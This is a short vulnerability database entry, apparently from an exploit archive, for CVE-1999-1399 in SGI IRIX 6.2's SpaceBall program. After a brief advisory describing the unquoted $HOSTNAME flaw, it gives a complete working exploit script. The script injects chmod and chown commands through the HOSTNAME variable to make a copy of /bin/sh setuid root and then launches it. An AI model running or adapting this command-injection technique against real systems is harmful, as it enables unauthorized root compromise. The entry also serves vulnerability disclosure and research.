SGI IRIX 6.2 - SpaceWare
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-1999-1399 | 12 Sep 200104:00 | – | cve |
 | CVE-1999-1399 | 12 Sep 200104:00 | – | cvelist |
 | EUVD-1999-1380 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-1399 | 20 Aug 199704:00 | – | nvd |
source: https://www.securityfocus.com/bid/471/info
The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands.
#!/bin/sh
SWDIR=/usr/local/SpaceWare
cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
/tmp/shData
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22 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00885